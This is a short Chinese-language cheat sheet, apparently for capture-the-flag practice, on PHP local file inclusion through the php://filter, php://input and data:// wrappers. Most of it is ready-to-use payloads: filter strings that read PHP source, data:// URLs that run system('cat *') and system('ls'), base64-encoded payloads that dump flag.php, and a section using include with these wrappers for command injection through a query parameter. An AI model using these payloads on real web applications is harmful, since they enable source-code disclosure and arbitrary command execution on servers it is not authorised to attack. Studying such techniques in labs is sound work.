include函数进行文件包含,再用伪协议进行读取

    1、filter协议 (要求:allow_url_fopen=Off/On,allow_url_include=Off/On)
    ?file=php://filter/resource=
    (非php文件不能include,直接输出文件源码,php文件将用inlcude包含执行)
    如果想读取php源码,先base64
    ?file=php://filter/convert.base64-encode/resource=flag.php

    2、input协议 (要求:allow_url_fopen=Off/On,allow_url_include=On)
    ?file=php://input
    然后在POST中输入php代码,如<?php phpinfo(); ?>

    3、data协议 (要求:allow_url_fopen=On,allow_url_include=On)
    注意没编码是逗号,有编码是分号;
    ?file=data://text/plain,<?php system(“cat *”);?>
    ?file=data://text/plain,<?pHp system(‘ls’);?>
    如果没有回显,使用base64
    ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

    上面伪协议是基本知识
    ——————————————————————————————————————————————-
    下面利用include和伪协议进行命令注入
    如:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

    ?c=data:text/plain,<?php system(‘cat *’)?>
    ?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4= (<?php include(‘flag.php’);echo $flag?>)
    ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== (<?php system(‘cat flag.php’);?>)